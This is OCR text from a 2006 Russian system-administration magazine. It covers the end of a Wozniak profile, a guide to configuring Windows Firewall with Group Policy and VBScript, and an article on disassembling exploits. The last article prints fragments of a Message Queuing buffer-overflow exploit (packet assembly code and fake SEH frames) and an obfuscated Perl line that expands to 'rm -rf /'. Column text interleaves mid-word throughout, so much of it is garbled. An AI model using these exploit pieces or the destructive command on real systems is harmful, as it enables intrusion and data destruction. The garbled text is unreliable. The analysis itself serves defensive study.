не желал быть коммивояжером. Я прос- «Я думаю, что прорыв будет именно фирма приняла решение закрыть свой
то мечтал быть инженером, хотел пи- в робототехнике. Мы все еще ждем, интернет-ресурс. Однако в свое время
сать программы и создавать компью- что появится искусственный разум. По- Возняк пообещал, что его компания
теры». Однако пришла пора воплотить явится в полной мере. Однако я не ду- «будет помогать простым людям нахо-
еще одну мечту – относительно препо- маю, что я стану свидетелем появле- дить простые вещи» с помощью GPS
давания. Возняк «усыновил», как шут- ния полноразмерного искусственного смарт-тагов – технологии, которая была
ливо говорится в его краткой биогра- интеллекта. создана, чтобы сочетать RFID с тради-
фии на сайте, школьный округ Лос Га- Я думаю о том, что с большим удо- ционными GPS. Да и Нью-Йорк Таймс
тос в Калифорнии – снабдил учителей вольствием поехал бы к вам домой в 2003 году объявила всему миру, что
и детей компьютерами, современными и выпил пару чашек кофе. Но сомнева- Wheel of Zeus разработала техноло-
лабораториями, дал им возможность юсь, что робот захочет это сделать. Ис- гию WozNet, которая позволяет сигна-
изучать новейшие технологии. Сотни кусственный интеллект позволит ком- лизировать о местонахождении любо-
школьников получили бесплатные но- пьютеру понимать меня, как вы пони- го предмета, снабженного электронной
утбуки, сотни выпускников – бесплат- маете друг друга. Я думаю, что в буду- меткой. Кстати сказать, изобретение
ное подключение к Интернету. Кроме щем, вместо учителя-человека учить больше всего пригодится родителям,
того, мистер Возняк сам стал препода- будет искусственный разум. И мо- которые хотят знать, где находится их
вателем. С восторгом он рассказывал жет получиться так, что в помещении, ребенок, когда он уходит гулять…
прессе: «Представляете, один мальчик где находятся 30 студентов, будут од- Так что Стив Возняк еще поколду-
мне говорит: «Я нашел способ сделать новременно находиться 30 преподава- ет над новыми изобретениями и в оче-
анимацию в этой программе». Я отве- телей. И это приведет к тому, что мы редной раз прославит себя в области
чаю: «Нет, здесь не может быть анима- получим возможность изменять пара- новейших технологий. Или вернется
ции». – «Да, но я сделал это!» Я смотрю дигму обучения. Каждый ученик и каж- в школу? Может быть. Он верен своим
на экран и понимаю, что он сделал это. дый преподаватель будут работать мечтам. И миссии – оставаться добрым
Я научился новой технологии». с той скоростью и тем материалом, ко- Волшебником из страны Воз.
Возняк погрузился в новую для се- торые им необходимы. Они смогут вы-
бя сферу деятельности так же глубо- бирать свой уровень обучения». Оксана Родионова

52
безопасность

Windows Firewall: защищаем внутренние


ресурсы сети

Андрей Бирюков
Сейчас локальная сеть любой, даже совсем небольшой организации, защищена от внешних
угроз. Настолько ли хорошо защищены ресурсы внутренней сети?

Защита снаружи, зом, получаем ситуацию, когда рабо- зуется для защиты всех сетевых соеди-
но не изнутри чие станции не защищены персональ- нений, однако для того чтобы гаранти-
Современные средства защиты кор- ным межсетевым экраном и в случае ровать запуск службы Firewall на маши-
поративных ресурсов от внешних уг- если вредоносный код каким-либо об- не пользователя, пропишем его в груп-
роз весьма разнообразны, существуют разом сумеет проникнуть в локаль- повой политике. Предварительно необ-
как аппаратные и программные меж- ную сеть, последствия могут оказать- ходимо все пользовательские машины,
сетевые экраны (например, Cisco PIX, ся весьма неприятными. на которых предполагается включить
CheckPoint или Microsoft ISA), так и сис- Проблему защиты рабочих стан- firewall, поместить в отдельную органи-
темы обнаружения вторжения, разби- ций можно решать с помощью различ- зационную единицу (Organization Unit).
рающие проходящие пакеты до уровня ных средств. Например, многие корпо- Категорически не рекомендуется приме-
приложений, а также шлюзовые анти- ративные антивирусы имеют встроен- нять политики, о которых речь пойдет да-
вирусы, фильтрующие определенный ный межсетевой экран, политики для лее, ко всему домену, так как тогда они
вид трафика. Все эти грозные и доро- которого можно задавать централизо- применются и к серверам, вследствие
гостоящие средства защищают наши ванно, но сегодня я продемонстрирую чего могут быть закрыты порты, необ-
ресурсы от посягательств извне. Одна- аналогичную защиту рабочих стан- ходимые для нормального функциони-
ко стоит оказаться внутри локальной ций с помощью стандартных средств рования клиент-серверных приложений.
сети компании, как тут же обнаружи- Windows, Active Directory и WSH. Сна- Итак, необходимая организационная
вается, что на большинстве пользова- чала опишу, как автоматически уста- единица создана, и пользовательские
тельских машин персональные межсе- новить firewall и задать соответству- машины туда помещены. Теперь на кон-
тевые экраны или отключены, или ра- ющие разрешения для машин, нахо- троллере домена откройте оснастку
ботают в режиме разрешения всех дящихся в домене, а затем, как про- Active Directory Users And Computers, да-
входящих соединений. Такое положе- делать то же самое у пользователей, лее «Computer Management → Windows
ние вещей многие системные адми- не входящих в домен, с помощью сце- Settings → Security Settings → System
нистраторы объясняют просто: «Нам нариев Windows Script Host. Services → Windows Firewall». Включаем
нужен полный доступ к локальной ма- Персональный межсетевой экран использование этого сервиса (Enable)
шине пользователя, и у нас нет време- Windows XP SP2 и Windows 2003 Server и метод запуска автоматический (Startup
ни на настройку портов». Таким обра- SP 1 автоматически включен и исполь- Automatic) (см. рис. 1).

54
безопасность
Теперь в вашей сети на всех пользовательских маши- Правила, которые необходимо настроить на межсетевом экране
нах запущен сервис Windows Firewall. Следующим шагом Порт Протокол Источник Действие Описание
укажите приложения и порты, к которым вы хотите разре- 10001 TCP 172.29.0.0/24 Enable Antivirus
шить доступ снаружи. К сожалению, версия персонального
3999 TCP 172.29.0.2, 172.29.0.200 Enable Remote Admin
межсетевого экрана, входящая в состав Windows XP 2003,
не позволяет блокировать исходящие соединения, только 666 TCP * Disable No Games
входящие, поэтому будет открываться доступ только сна- 999 UDP Localsubnet Enable Stream Video
ружи внутрь.

Что и кому открывать


Так как правила межсетевого экрана работают по принципу
«запрещено всё, что не разрешено», то прежде чем вклю-
чить firewall, вам необходимо определиться с тем, какие
порты должны быть открыты на клиентской машине. По
возможности постарайтесь минимизировать это количес-
тво, так как чем меньше открытых портов, тем меньше по-
тенциальных уязвимостей в защите системы.
В качестве примера буду открывать порты для корпо-
ративного антивируса, удаленного управления и видео-
конференций, а также явным образом буду блокировать
доступ к порту, используемому сетевыми играми. Также
доступ к каждому из портов должен быть разрешен толь- Рисунок 1. Список сервисов, запускаемых в GPO
ко с определенных узлов или подсетей. Вот что нужно от-
крыть (см. таблицу).
Небольшое пояснение к предъявляемым требовани-
ям: в первой строке я разрешаю доступ по порту 10001
всем хостам, находящимся в подсети 172.29.0.0 с маской
255.255.255.0, во второй – к порту 3999 только двум хос-
там 172.29.0.2, 172.29.0.20, в третьей всем пользователям
явным образом запрещено устанавливать соединение по
порту, который используют сетевые игры, и наконец в чет-
вертой строке все пользователи локальной подсети могут
отправлять UDP-пакеты на порт 999.
Отдельно скажу про ICMP. Администратор должен иметь
возможность пропинговать любой узел в своей сети, но при Рисунок 2. Свойства межсетевого экрана
этом не следует разрешать любые операции с этим прото-
колом, так как существуют виды атак, позволяющие с по-  Protect All Network Connections – использовать ли
мощью атак вида Denial Of Service осуществить отказ в об- межсетевой экран для всех соединений (LAN, Dial Up
служивании системы. Таким образом, подводя итог всему и др.).
изложенному в данном абзаце, будет разрешаться только  Do not allow exceptions – не позволять исключения.
отклик на входящий эхо-запрос. В нашем случае необходимо выставить Disabled, так как
исключения, то есть открытые порты, у нас есть.
Открываем порты  Define program exceptions – определяет приложе-
Определившись с тем, какие порты и кому вы хотите от- ния, обращение к которым разрешено извне. Не са-
крыть, пропишите все эти правила в групповых политиках мый безопасный способ, лучше ограничивать по пор-
Active Directory. Для этого откройте ту же групповую полити- там, чем по приложениям.
ку, которую вы использовали для запуска сервиса Firewall,  Allow local program exceptions – разрешать исключе-
затем раздел «Computer Management → Administrative ния для приложений.
Templates → Network → Network Connections → Windows  Allow remote administration exception – разрешать уда-
Firewall». Далее есть два профиля Domain и Standard. Про- ленное администрирование средствами Windows.
филь Domain применяется, когда машина подключена  Allow file and printer sharing exception – разрешать до-
к Active Directory, обычно Domain Profile используется для ра- ступ к файловым ресурсам и принтерам, подключенным
бочих станций пользователей. Профиль Standard приме- к данной машине.
няется, когда машина не подключена к Active Directory, как  Allow ICMP exceptions – разрешать исключения
правило Standard Profile используется для ноутбуков и пор- для протокола ICMP. В соответствии с тем, что было
тативных компьютеров. В нашем примере мы будем рас- сказано ранее про ICMP, мы разрешим только Inbound
сматривать Domain Profile. echo request (см. рис. 3).
Как видно из рис. 2, у межсетевого экрана имеется 14  Allow Remote Desktop exception – разрешать установ-
свойств, которые мы и будем сейчас настраивать: ку соединения по протоколу RDP.

№8, август 2006 55


безопасность

Рисунок 3. Исключения для протокола ICMP Рисунок 4. Определяем список портов

 Allow UPnP exception – позволять исключения для сценарий можно отправить по электронной почте, снаб-
universal Plug and Play (технология, позволяющая раз- див получателя соответствующими инструкциями по его
личным интеллектуальным устройствам устаналивать запуску. Кстати, сценарий, открывающий порты на межсе-
соединения интернет-технологий). тевом экране, может быть также полезен при развертыва-
 Prohibit notifications – запрещать уведомления поль- нии приложений, которым для работы необходимы откры-
зователя. тые порты на firewall.
 Allow logging – разрешать журналирование. При этом вы При работе с Windows Firewall через сценарии WSH об-
можете сохранять информацию об отклоненных пакетах ратите внимание на то, что этот объект не является WMI-
и об успешных соединениях. Как правило имеет смысл классом, а СОМ-объектом из библиотеки HNetCfg (Home
вести журналирование только отброшенных пакетов, Networking Configuration), которая в свою очередь обеспе-
в случае учета всех соединений лог становится практи- чивает большинство функций межсетевого экрана.
чески нечитаемым из-за своего большого размера. Для обращения к библиотеке HNetCfg в нашем сцена-
 Prohibit unicast response to multicast or broadcast – за- рии обязательно должна присутствовать строка:
прещать отправку пакетов в ответ на широковещатель-
ные запросы. Set objFirewall = CreateObject("HNetCfg.FwMgr")
 Define port exceptions – определяем порты, которые бу-
дут открыты на межсетевом экране. Эта библиотека содержит ряд объектов:
 Allow local port exceptions – разрешить локальные ис-  LocalPolicy – этот объект определяет, использовать ли
ключения для портов. локальную политику межсетевого экрана (в оснастке
Group Policy она называлась Standard) или же домен-
Итак, укажите те порты, которые хотите открыть на всех ную политику (Domain).
пользовательских машинах в организационной единице.  Profile – объекты управляют профилем Windows Firewall
Открыв свойства «Define Port Exceptions», выбирае- и включают следующие свойства:
те «Enabled», затем «Define port exceptions: Show…». В от-  AuthorizedApplications – набор авторизованных
крывшемся окне вам необходимо определить список пор- приложений, к которым разрешено обращение сна-
тов в соответствии со следующим форматом. ружи. Этот список использует объект Profile.
 CurrentProfile – свойство задает текущий профиль
<порт>:<протокол>:<источник>:<действие>:<описание> межсетевого экрана. Для установки этого значе-
ния используйте команду NetCfg.FwMgr.LocalPolicy.
Таким образом, после выполнения этих действий вы по- CurrentProfile.
лучите список портов, которые необходимо открыть либо  CurrentProfileType –устанавливает тип профиля, ко-
явным образом закрыть (рис. 4). торый использует Windows Firewall. Может иметь зна-
Вот собственно и все, что нужно сделать для того, что- чения: 0 (ноль), если используемый профиль являет-
бы развернуть на машинах в локальной сети под управле- ся доменным, или 1, если это стандартный профиль.
нием Active Directory межсетевой экран и открыть необхо-  ExceptionsNotAllowed – свойство указывает, раз-
димые порты. решать ли использование исключений в Windows
Firewall, может иметь значения TRUE или FALSE.
Для тех, кто вне домена… Это необходимый элемент для любого профиля.
Что же делать, если у вас имеются машины, не входящие  FirewallEnable – данное свойство определяет, дол-
в домен, например, сеть филиала или ноутбуки сотрудни- жен ли быть включен межсетевой экран на машине,
ков, находящихся в командировке. В такой ситуации можно возможные значения TRUE или FALSE. Это свойс-
прибегнуть к помощи сценариев Windows Script Host. Этот тво доступно через объект Profile.

56
безопасность
 GetProfileByType – позволяет получить тип профи- В продолжении темы приведу пример сценария, кото-
ля (Domain или Standard). Например, вызов HNetCfg. рый разрешает доступ по сети к указанному приложению,
FwMgr.GetProfileByType для сценария, используемо- то есть авторизовывает приложение. Как уже упомина-
го в данной статье вернет 0 (Domain). Может исполь- лось выше, этот способ является не слишком безопасным,
зоваться только для объекта CurrentProfile. так как приложение может использовать различные пор-
 GloballyOpenPorts – это список открытых портов для ты, но иногда он более удобен, чем явное открытие пор-
данного профиля. Данное свойство доступно через тов. В следующем примере откроем доступ для приложе-
объект профиля. ния, находящегося по адресу c:\myapp.exe для всех узлов
 IcmpSettings – свойство доступно только для чтения по протоколу IP версии 4.
и определяет настройки по протоколу ICMP. Также
доступно через свойства профиля. Листинг 2. Сценарий для авторизации приложения
 NotificationsDisabled – определяет, отправлять ли ' объявляем объект
пользователю уведомления, возможные значения Set objFirewall = CreateObject("HNetCfg.FwMgr")
' используем текущий профиль
TRUE или FALSE. Доступно через свойства профиля. Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
 RemoteAdminSettings – разрешать или запрещать
' объявляем объект
удаленное управление системой. Доступно через Set objApplication = ↵
свойства профиля. CreateObject("HNetCfg.FwAuthorizedApplication")
objApplication.Name = "Corp App" ' указываем имя
 Services – набор служб (Services), содержащихся objApplication.IPVersion = 4 ' версия IP
в профиле. Также доступно через свойства про- ' путь к приложению
objApplication.ProcessImageFileName = "c:\myappl.exe"
филя. ' с каких адресов разрешен доступ
 Type – показывает тип профиля, доменный или стан- objApplication.RemoteAddresses = "*"
objApplication.Enabled = True
дартный (0 для доменного и 1 для стандартного). До-
ступно через свойства профиля. ' авторизуем приложение
Set colApplications = objPolicy.AuthorizedApplications
' и добавляем его в список авторизованных приложений
Определившись с объектами, которые вы можете ис- colApplications.Add(objApplication)
пользовать при написании WSH-сценария, попробуйте от-
крыть нужные порты на пользовательской машине. От- Иногда возникает необходимость в получении списка
мечу, что сценарий использует тот же набор параметров, всех открытых портов, а также их свойств:
что и групповая политика Active Directory, с одной лишь раз-
ницей, что здесь есть возможность динамически задавать Листинг 3. Сценарий, выводящий список всех открытых портов
и изменять политику межсетевого экрана. Развернуть сце- Set objFirewall = CreateObject("HNetCfg.FwMgr")
нарий на удаленной машине можно, к примеру, отправив Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
данный файл прикрепленным к письму или с помощью FTP. Set colPorts = objPolicy.GloballyOpenPorts
В любом случае вмешательство пользователя для установ-
For Each objPort in colPorts
ки сценария будет минимальным. Wscript.Echo "Port name: " & objPort.Name
Wscript.Echo "Port number: " & objPort.Port
Wscript.Echo "Port IP version: " & objPort.IPVersion
Листинг 1. Сценарий для открытия нового порта Wscript.Echo "Port protocol: " & objPort.Protocol
Wscript.Echo "Port scope: " & objPort.Scope
' объявляется объект HNetCfg Wscript.Echo "Port remote addresses: ↵
Set objFirewall = CreateObject("HNetCfg.FwMgr") " & objPort.RemoteAddresses
' используется текущий профиль Wscript.Echo "Port enabled: " & objPort.Enabled
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile Wscript.Echo "Port built-in: " & objPort.Builtin
' создается новый открытый порт Next
Set objPort = CreateObject("HNetCfg.FwOpenPort")
objPort.Port = 10001 ' номер порта
objPort.Name= "Antivirus" ' наименование Эта информация вам пригодится, когда вы будете изу-
objPort.IPVersion=4 ' версия IP
objPort.Protocol= "TCP" ' вид протокоа чать состояния текущих правил межсетевого экрана и оп-
' с каких адресов разрешен доступ ределять, какие порты необходимо открыть или закрыть.
objPort.RemoteAddresses="172.29.0.0/24"
objPort.Enabled = TRUE ' доступ разрешен Завершая тему персональных межсетевых экранов,
' используется список уже открытых портов отмечу, что по утверждениям представителей корпора-
Set colPorts = objPolicy.GloballyOpenPorts
' добавляется новый порт в список уже открытых портов ции Microsoft, в следующей версии операционной систе-
errReturn = colPorts.Add(objPort) мы Windows межсетевой экран будет двусторонним, то есть
можно открывать/закрывать как входящие, так и исходя-
По аналогии для остальных портов вы сможете напи- щие соединения. Что ж, посмотрим, но думаю, подобное
сать подобный сценарий. В приведенном примере указа- нововведение окажется весьма полезным, так как поз-
ние версии протокола IP является необязательным, так волит еще больше защитить рабочие станции и пользо-
как по умолчанию используется IP v4. Как видно из приме- вателей.
ра, сначала открывается порт, затем прописываются необ- Поживем – увидим.
ходимые параметры, такие как вид транспортного прото-
кола, подсеть, которой разрешен доступ и наименование. 1. Don Jones, Jeffery Hicks Advanced VBScript for Microsoft Windows
И в завершении все данные по новому порту добавляются Administrators.
в список уже открытых портов. 2. Windows Server 2003. Справочник администратора.

№8, август 2006 57


безопасность

Аудит и дизассемблирование
эксплоитов

Крис Касперски
Эксплоиты, демонстрирующие наличие дыры (proof-of-concept), обычно распространяются
в исходных текстах, но основной функционал заключен в shell-коде, анализ которого
представляет весьма нетривиальную задачу, требующую инженерного склада ума,
развитой интуиции, обширных знаний и… знания специальных приемов дизассемблирования.

С
ообщения о дырах появляются ющих практически весь спектр ап- ния он успел обрасти полусотней дыр,
постоянно. Стоит только загля- паратно-программного обеспечения. в том числе и критических. Ладно, ос-
нуть на www.securityfocus.com Вы до сих пор пользуетесь FireFox, счи- тавим FireFox в покое и возьмем бра-
и… ужаснуться. Каждый день прино- тая его безопасным? Да как бы не так! зузер Opera – почти два десятка оши-
сит по 10-20 новых дыр, затрагива- За свое недолгое время существова- бок (из которых 17 зарегистрировано

58
безопасность
на одном лишь www.securityfocus.com)
быстро прочищают мозги от реклам-
ной шелухи, позиционирующей Opera
не только как самый быстрый, но и по-
настоящему безопасный браузер.
Уязвимости встречаются даже в тек-
стовых браузуерах наподобие Lynx.
Про Internet Explorer лучше вообще
не вспоминать! Стоит ли после этого
удивляться, что черви размножают-
ся со скоростью лесного пожара и ре-
гулярно кладут целые сегменты Сети,
если не весь Интернет!
Программное обеспечение нена-
дежно. Предоставленное самому се-
бе, без ухода и надзора администра-
тора оно быстро становится жертвой
хакерских атак, превращаясь в рас- Рисунок 1. Устройство пакета-убийцы, передаваемого на атакуемый сервер
садник вирусов и червей. Если уязви-
мость затрагивает те компоненты сис- тель дыры должен подтвердить свои поражаемых систем заметно возрас-
темы, без которых можно и обойтись слова программой, демонстрирую- тет (тем более что большинство экс-
(например, Message Queuing или RPC щей наличие уязвимости, но не совер- плоитов закладывается на фиксиро-
DCOM), их можно отключить или огра- шающей ничего деструктивного. В за- ванные адреса, варьирующие от вер-
дить брандмауэром. В противном слу- рубежной литературе она называется сии к версии, поэтому эксплоит, раз-
чае, необходимо установить заплатку exploit proof-of-concept. работанный для английской версии
от «родного» производителя или сто- Часто к эксплоиту прилагается пе- Windows 2000, может не работать
ронних поставщиков. Проблема в том, речень тестируемых (tested) и уязви- в русской и наоборот).
что официальные обновления зачас- мых (affected) платформ и все, что не- Эксплоиты обычно запускают
тую выпускаются лишь через несколь- обходимо сделать, – это запустить для удовлетворения чувства собствен-
ко месяцев после официального же эксплоит на своей системе и посмот- ного любопытства. Никакой жизненной
признания дыры. А сколько дыр так и реть, справится ли он с ней или нет. необходимости в этом нет. Просто ин-
остаются «непризнанными»? Естественно, атаковать «живой» сер- тересно и ничего более. Но изучить код
Производителей программного вер или основную рабочую станцию эксплоита, чтобы знать, что вы вообще
обеспечения можно понять: ведь пре- может только самоубийца (или очень запускаете, попутно устраняя ошиб-
жде, чем признавать дыру дырой, не- безответственный человек) и все по- ки, допущенные его разработчиками
обходимо убедиться, что это именно тенциально опасные эксперименты и адоптируя shell-код к своей систе-
дыра, а вовсе не «авторское видение следует выполнять на «копии» сер- ме, корректируя фиксированные адре-
функциональности» и добиться устой- вера/рабочей станции, специально са при необходимости, никогда не по-
чивого воспроизведения сбоя. У мно- предназначенной для тестовых це- мешает.
гих компаний существует политика лей. Под VMWare и другими эмулято-
замалчивания дыр и уязвимость либо рами подобного типа эксплоиты луч- Как препарируют
молча устраняется с выходом очеред- ше не запускать. Во-первых, ряд вре- эксплоиты
ной версии продукта (кумулятивного доносных эксплоитов распознает на- Основной код эксплоита, как правило,
пакета обновления), либо не исправ- личие виртуальных машин и отказы- пишется на переносимых высокоуров-
ляется вообще! Яркий пример тому – вается работать. Во-вторых, вырвать- невых языках, таких как Си/Си++, Perl,
уязвимость «MS IE (mshtml.dll) OBJECT ся из застенок виртуальной маши- Python. Экзотика типа Ruby встречает-
tag vulnerability», обнаруженная 23 ап- ны вполне реально (см. статью «По- ся намного реже, но все-таки встреча-
реля 2006 (см. /pipermail/full-disclosure/ бег из-под VMWare», которую мож- ется. В практическом плане это озна-
2006-April/045422.html), и все еще но скачать с ftp://nezumi.org.ru/pub/ чает, что исследователь должен вла-
не признанная Microsoft. vm-escape.zip). деть десятком популярных языков хо-
Чтобы администратор мог спать Отрицательный результат сам тя бы на уровне беглого чтения лис-
спокойно и не дергаться каждые пять по себе еще ничего не доказывает. тингов. Впрочем, в девяти из деся-
минут, пытаясь обнаружить в логах Даже если атака не удалась, у нас нет ти случаев, ничего интересного в них
брандмауэра «что-то необычное», пер- никаких оснований считать, что сис- не встречается, и весь боевой заряд
вым делом необходимо выяснить – тема находится в безопасности. И это концентрируется в «магических» стро-
действительно ли вверенная ему сис- не паранойя, а реальный факт, с кото- ковых массивах, оформленных в сти-
тема уязвима? Далеко не всем сооб- рым следует считаться. Возможно, это ле «\x55\x89\xE5…\xC7\x45\xFC». Вот
щениям о дырах можно верить. По об- просто эксплоит такой кривой, но сто- это и есть shell-код в ASCII-представ-
щепринятой практике, первооткрыва- ит его слегка подправить, как список лении. Высокоуровневый код – всего

№8, август 2006 59


безопасность
Листинг 1. Фрагмент эксплоита, ответственный за сборку пакета-убийцы прилагаемого к статье в файле 1075
// выделяем память (см. сайт www.samag.ru, раздел «Ис-
buff = (char *) malloc(4172); memset(buff, NOP, 4172); ptr = buff; ходный код»). Базовый код, напи-
// RPC-заголовки санный на языке Си, рассматривать
memcpy(ptr,dce_rpc_header1,sizeof(dce_rpc_header1)-1);ptr+=sizeof(dce_rpc_header1)-1; не будем, а сразу перейдем к shell.
memcpy(ptr, tag_private, sizeof(tag_private)-1);ptr+=sizeof(tag_private)-1;
Самое сложное – это опреде-
memcpy(buff+1048, dce_rpc_header2, sizeof(dce_rpc_header2)-1); лить точку входа в shell-код, то есть
memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1); ту точку, которой будет передано уп-
равление при переполнении. В дан-
// offsets
ptr=buff;ptr+=438; ном случае нам повезло, и создатель
memcpy(ptr, offsets, sizeof(offsets)-1);ptr += sizeof(offsets)-1; эксплоита структурировал листинг,
// shellcode разбив двоичные данные на шесть
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1); массивов, первые четыре из кото-
рых (dce_rpc_header1, tag_private,
лишь обертка, образно говоря, тетива или пусковая уста- dce_rpc_header2 и dce_rpc_header3) представляют собой
новка, а shell-код – разящее острие. заголовки RPC-пакетов, в которых для нас нет ничего ин-
Многие исследователи допускают роковую ошибку: тересного.
анализируя shell-код, они забывают о том, что основной А вот массив offsets включает в себя ключевые струк-
код также может содержать вредоносные инструкции на- туры данных, передающие управление на shell-код. Спо-
подобие «rm -rf /». При знании языка пакости подобного соб передачи основан на подмене SEH-фреймов по усо-
типа обнаруживаются без труда, если, конечно, злоумыш- вершенствованной методике, обходящей защиту от пе-
ленник не стремился воспрепятствовать анализу. Сущест- реполнения, появившуюся в Windows 2000, Windows XP
вует масса способов замаскировать вредоносный код в бе- и Server 2003. И хотя это не отражено в комментариях яв-
зобидные конструкции. Взять хотя бы строку «'$??s:;s: ным образом (создатели shell-кодов традиционно неразго-
s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'», раз- ворчивы), опытные кодокопатели распознают подложные
ворачиваемую языком Perl в команду «rm -rf /», которая фреймы с первого взгляда (тем более что кое-какие ком-
при запуске из-под root уничтожает все содержимое дис- ментарии там все-таки присутствуют, но даже если бы их
ка целиком. и не было, это не сильно бы затруднило анализ).
Отсюда вывод: никогда не запускайте на выполнение Основная часть shell-кода (расположенная в массиве
код, смысла которого до конца не понимаете и уж тем более bind_shellcode) системно независима (ну, почти), а все фик-
не давайте ему администраторских полномочий! Не под- сированные адреса вынесены в массив offsets, который при
давайтесь на провокацию! Даже на авторитетных сайтах тестировании под различными версиями операционных сис-
проскакивают эксплоиты, созданные с одной-единствен- тем имеет наглость требовать «ручной» коррекции. Даже
ной целью – отомстить, если не всему человечеству, то хо- при наличии не залатанной дыры эксплоит может не рабо-
тя бы его части. Помните, что самая большая дыра в сис- тать только потому, что по фиксированным адресам распо-
теме – это человек, знающий пароль root (администрато- ложено не то, что ожидалось. Но прежде, чем приступать
ра) и запускающий на рабочей маши-
не все без разбора! Листинг 2. Массив offsets хранит подложные SEH-фреймы для нескольких
операционных систем, передающие управление на shell-код
Больше на анализе базового ко-
да мы останавливаться не будем (ес- unsigned char offsets[] =
/* entry point (jmp over) */ ; // SEH-FRAME for Windows 2000
ли вы знаете язык – это тривиально, "\xEB\x08\x90\x90" ; // ! *prev | jmp lab_0Ah !
если нет – не надейтесь, что автору /* mqsvc.exe - pop reg; pop reg; retn; */ ; // !------------------------!
"\xE9\x14\x40\x00" ; // ! *handler !
удалось уложить многостраничные ; // !------------------------!
руководства в скромные рамки жур-
"\x90\x90\x90\x90\x90\x90\x90\x90" ; // подбор SEH-фрейма для w2k server
нальной статьи).
/* :LAB_0Ah */
/* entry point (jmp over) */ ; // SEH-FRAME for W2K Server/AdvServer
Анализ message queuing "\xEB\x08\x90\x90" ; // ! *prev | jmp lab_1Ah !
эксплоита /* mqsvc.exe - pop reg; pop reg; retn; */ ; // !----------------- --------------!
"\xE9\x14\x40\x00" ; // ! *handler !
Одного лишь знания ассемблера ; // !--------------------------------!
и API-операционной системы для ис-
"\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73" ; // подбор SEH-фрейма для XP
следования shell-кода будет явно не- "\x65\x6F\x66\x64\x61\x62\x75\x73\x48\x41" ; // «A@houseofdabusHA»
достаточно. Здесь все сложнее и…
/* :LAB_1Ah */
интереснее. Продемонстрируем тех- /* entry point (jmp over) */ ; // SEH-FRAME for Windows XP
нику дизассемблирования shell-кода "\xEB\x06\x90\x90" ; // ! *prev | jmp lab_36h !
/* mqsvc.exe - pop reg; pop reg; retn; */ ; // !----------------------!
(со всеми сопутствующими ей при- "\x4d\x12\x00\x01" ; // ! *handler !
емами и трюками) на примере анали- ; // !----------------------!
за «Message Queuing Buffer Overflow "\x90\x90\x90\x90\x90\x90"; ; // не значащие NOP
Vulnerability Universal» eэксплои- /* :LAB_36h */
та (http://milw0rm.com/exploits/1075), === отсюда начинается актуальный shell-код ===

60
безопасность
к анализу массива offsets, необходимо определить его мес-
тоположение в пакете-убийце, вызывающем переполнение.
Приведенный фрагмент базового кода собирает все мас-
сивы в непрерывный буфер, передаваемый на атакуемый
сервер (см. листинг 1).
Вначале пакета (см. рис. 1) располагается RPC-заго-
ловок dce_rpc_header1, за ним идет NetBIOS-имя атакуе-
мого узла и тег private. На некотором отдалении от начала
заголовка, по смещению 438 (1B6h) лежит массив offsets,
сразу за концом которого идет shell-код. Далеко за ним об-
наруживается еще один RPC-заголовок dce_rpc_header2
и dce_rpc_header3 (на рис. 1 не показан). Все остальное
пространство пакета заполнено командами NOP (90h).
Процесс формирования пакета хорошо наблюдать под
отладчиком (в данном случае использовался Microsoft Visual
Studio Debugger) или перехватить уже готовый пакет, ис-
пользуя sniffer.
Сразу же возникает вопрос – в каком именно месте воз-
Рисунок 2. Расположение SEH-фреймов относительно
никает переполнение и каким именно образом происходит переполняющихся буферов
передача управления на shell-код? Запустив MSMQ-служ-
бу под отладчиком, мы увидим, что массив offsets ложит- Допустим, никакого комментария у нас бы не было.
ся прямо поверх SEH-фрейма, подменяя его содержимое, И что тогда? Загружаем mqsvc.exe в hiew, двойным нажа-
а shell-код затирает адрес возврата из функции, заменяя тием клавиши <ENTER> переходим в дизассемблерный ре-
RET произвольным адресом, указывающим в «космос», при жим, нажимаем <F5> и вводим адрес «.4014E9» (точка ука-
обращении к которому возбуждается исключение и… уп- зывает, что это именно адрес, а не смещение).
равление получает подложный SEH-фрейм, передающий Видим:
управление на shell-код. Все просто! Главное – отладчик
иметь! И… установленную службу Message Queuing, кото- Листинг 3. Последовательность pop reg/pop reg/retn,
содержащаяся в файле mqsvc.exe
рой в распоряжении кодокопателя может и не быть. К то-
му же мы договорились, прежде чем запускать эксплоит ; вытолкнуть одно двойное слово из стека
.004014E9: 5F pop edi
(пусть даже под отладчиком!), сначала реконструировать ; вытолкнуть следующее двойное слово
его алгоритм. .004014EA: 5E pop esi
; выткнуть адрес возврата и передать по нему управление
А как мы его можем реконструировать? Хорошая голово- .004014EB: C3 retn
ломка для знатоков! Отбросив RPC-заголовки, мы остаем-
ся только с массивом offsets и shell-кодом. Очевидно, сме- Естественно, данный способ не универсален и вообще
щение массива offsets выбрано не случайно и играет в пе- говоря ненадежен, поскольку, в другой версии mqsvc.exe
реполнении ведущую роль, поскольку bind_shellcode пред- адрес «магической» последовательности наверняка будет
ставляет собой вполне «стандартный» shell-код, встречаю- иной, хотя в Windows 2000 Home, Windows 2000 Professional,
щийся во многих других эксплоитах и совпадающий с ним Windows 2000 Server/AdvServer адреса совпадают, пос-
байт-в-байт. кольку используется одна и та же версия mqsvc.exe, а вот
Рассмотрим массив offsets поближе (см. листинг 2). в Windows XP адрес уже «уплывает».
В начале массива расположена довольно характерная Интуитивно мы чувствуем, что передача управления
структура, состоящая из двух двойных слов, первое из ко- на shell-код осуществляется через RET, но остается не-
торых включает в себя двухбайтовую команду безусловного понятным каким образом указатель на shell-код мог очу-
перехода JMP SHORT (опкод – EBh), дополненную до двой- титься в стеке, ведь никто туда его явно не засылал! За-
ного слова парой NOP (впрочем, поскольку они все равно пихать в переполняющийся буфер можно все, что угодно,
не исполняются, здесь может быть все, что угодно). Следу- но при этом придется указать точный адрес размещения
ющее двойное слово указывает куда-то вглубь адресного shell-кода в памяти, а для этого необходимо знать значе-
пространства – 004014E9h и, судя по значению, принадле- ние регистра ESP на момент атаки, а оно в общем случае
жит прикладному приложению. В данном случае – програм- неизвестно.
ме mqsvc.exe, реализующей службу Message Queuing. Ком- Структурные исключения позволяют элегантно решить
